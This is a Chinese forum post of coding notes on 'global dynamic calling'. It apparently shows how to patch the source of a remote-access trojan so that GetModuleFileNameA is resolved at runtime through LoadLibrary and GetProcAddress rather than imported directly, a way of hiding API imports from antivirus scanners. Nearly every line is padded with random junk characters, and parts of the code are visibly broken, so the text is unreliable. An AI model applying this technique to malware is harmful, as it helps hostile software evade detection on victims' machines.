[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
* G& L2 Q) a$ y. P- ?4 H" E$ ^& Esvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h- q& ^. g* v* D3 I) K& U9 j0 R
----------------------------------------
4 L# `( h: o. @- F  D9 {$ Q6 D/ e1 |DTDY.h：
+ m9 g# i2 c8 _4 a, B: c8 Y
! L" J4 `, _1 s9 _#if _MSC_VER>1000
; o$ |, ~6 U' n& y1 E2 F$ z8 F#pragma once* G. g7 G# E  W7 [8 K# g" w& P+ t
#endif //_MSC_VER>1000
" w  \+ W! R! _4 W% E9 A* H#include<windows.h>/ G3 s6 e2 B# _4 c

5 i* [9 T9 Z  ^typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* C8 p( C7 X9 }9 c
class DTDY5 a& ^3 i% }, T0 t
{1 W" n+ V1 K* ^9 b  p5 `
public:9 b: Q% ~; F! ~; U' R- Q
DTDY();
. x& h0 U% z% o  hvirtual ~DTDY();4 ?' o) a$ K& D
public:5 ], e/ B+ R$ }/ C; S8 }
static pGetModuleFileNameA MyGetModuleFileName;( U3 Q4 y% G8 e" t+ S' k
static BOOL FunInitiallization();' y8 @' L- K- T. P2 r
};
+ p- k& k& j1 Z/ l3 ]% u#endif$ o- v; u/ h" `4 W; _4 Q+ p0 L
----------------------------------------: B- \# y6 E" |* U6 Z
( \3 @3 ]6 x4 P: U
DTDY.cpp:/ E9 D# j- R  o5 G
) P% G; Y+ z" p/ Z- _
#include "DTDY.h"
' R' p( E  d  PpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;, j) Z! e) p) X! R) a8 b% y/ x
DTDY:TDY()
& b9 d& S8 s8 ^{1 }) P# x8 {* Y8 D* A
}
! j; |1 n# i9 l. IDTDY::~DTDY()
4 A0 U  S, R3 ^8 p{
" V8 {7 B2 M; ~) q$ F& L& Q}  U/ f" P/ ~" P8 p* M* N$ a( l
BOOL DTDY::FunInitiallization()
' g8 |; n4 n. t- o/ x5 e{# s$ f' i+ ~2 ?# |/ i5 D
HMODULE hModule=LoadLibrary("kernel32.dll");, O. i& A+ S* B" ^; C
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
/ I1 `# N/ Q2 d1 G9 yif(!MyGetModuleFileName=) return FALSE;& c1 K, S& F  t5 }7 g
% e: `( ?/ w6 m/ R& i( K
return TRUE;
4 y& e9 g; X, Z" S$ j}4 X2 Q/ o7 z/ P4 ~
----------------------------------------
0 J* o& h$ j: j) c. X' csvchost.cpp:
' U% A4 ^: v# ^0 c+ b) _; N% V+ c. V# [8 F6 r
#include "DTDY.h"
7 ?4 Z$ f7 S& r1 x; E+ b" _3 f3 D# a1 l' l
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)% r  n; [( w! S$ c2 t: ~& Y
{
& \1 `( ?$ V# fswitch(ul_reason_for_call)
9 g; P# q, P! d, G/ l! P& k{" |, q: N2 m3 n+ n1 I% q( ~
case DLL_PROCESS_ATTACH:
  r* y$ u6 t1 jif(!DTDY::FunInitiallization()) return FALSE;8 j: m0 C4 c( ?, v

2 y. |8 W, {1 Y4 c* f8 Fbreak;
3 u% q! i9 \5 v( |7 H4 t8 z}
) n1 ~0 ~. W! \* _' d. K}$ }7 D/ m  R6 }4 m6 e+ f- _6 t% B/ K
6 q. [7 D. c" k! W8 l8 K. Y
% i! M* a. y. i; m# @
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
: i) E0 X" o. v# m2 e* ]改写为; X% Q/ I7 h1 A- `$ `  ^0 z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 v8 U: w$ B4 w/ B7 D# u
----------------------------------------! A: x$ |; |. B- X; F
KernelManager.cpp:3 n& |  }2 r- ^+ V, o6 R

  e: s- }6 M, u# j. U' D#include "../DTDY.h"; \8 d  O: w/ c) w
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# ~$ g: E" ^7 z, b0 F+ A# C改写为+ Z, W# W, [0 q( L' s! u) t
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));. M  {6 M# f' R: k1 y9 q! }* l
----------------------------------------